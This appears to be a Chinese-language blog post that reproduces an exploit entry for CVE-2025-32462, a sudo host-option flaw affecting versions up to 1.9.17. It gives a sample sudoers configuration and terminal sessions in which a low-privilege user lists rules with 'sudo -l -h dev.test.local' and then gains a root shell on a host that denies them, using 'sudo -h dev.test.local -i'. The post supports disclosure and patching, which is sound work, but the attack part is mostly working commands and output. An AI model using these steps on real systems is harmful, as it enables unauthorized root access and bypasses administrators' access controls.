Sudo 1.9.17主机选项权限提升漏洞分析与本地利用

本文详细分析了Sudo 1.9.17版本中存在的主机选项权限提升漏洞(CVE-2025-32462),通过特定配置的sudoers文件演示了如何利用远程主机规则在本地系统获得root权限。

Exploit Title: Sudo 1.9.17 Host Option - Elevation of Privilege

Date: 2025-06-30

Exploit Author: Rich Mirch

Vendor Homepage: https://www.sudo.ws

Software Link: https://www.sudo.ws/dist/sudo-1.9.17.tar.gz

Version: Stable 1.9.0 - 1.9.17, Legacy 1.8.8 - 1.8.32

Fixed in: 1.9.17p1

Vendor Advisory: https://www.sudo.ws/security/advisories/host_any

Blog: https://www.stratascale.com/vulnerability-alert-CVE-2025-32462-sudo-host

Tested on: Ubuntu 24.04.1; Sudo 1.9.15p5, macOS Sequoia 15.3.2; Sudo 1.9.13p2

CVE : CVE-2025-32462

无需专门的漏洞利用代码。当使用主机选项执行sudo或sudoedit命令,并引用一个不相关的远程主机规则时,Sudo会将该规则视为对本地系统有效。因此,远程主机规则允许的任何命令都可以在本地机器上执行。

示例/etc/sudoers文件使用Host_Alias指令。lowpriv用户被允许在dev.test.local、ci.test.local上执行所有命令(完全root权限),但不允许在prod.test.local上执行。

1
2
3
4
Host_Alias     SERVERS        = prod.test.local, dev.test.local
Host_Alias     PROD           = prod.test.local
lowpriv          SERVERS, !PROD = NOPASSWD:ALL
lowpriv           ci.test.local  = NOPASSWD:ALL

尽管prod.test.local服务器明确拒绝lowpriv用户,但通过为dev.test.local或ci.test.local服务器指定主机选项,仍然可以获得root访问权限。

示例

显示lowpriv不允许在prod服务器上执行sudo。

1
2
3
4
5
lowpriv@prod:~$ id
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
lowpriv@prod:~$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.

列出dev.test.local服务器的主机规则。

1
2
3
4
5
6
lowpriv@prod:~$ sudo -l -h dev.test.local
Matching Defaults entries for lowpriv on dev:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User lowpriv may run the following commands on dev:
    (root) NOPASSWD: ALL

通过指定-h dev.test.local选项,在prod.test.local上执行root shell。

1
2
3
4
lowpriv@prod:~$ sudo -h dev.test.local -i
sudo: a remote host may only be specified when listing privileges.
root@prod:~# id
uid=0(root) gid=0(root) groups=0(root)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计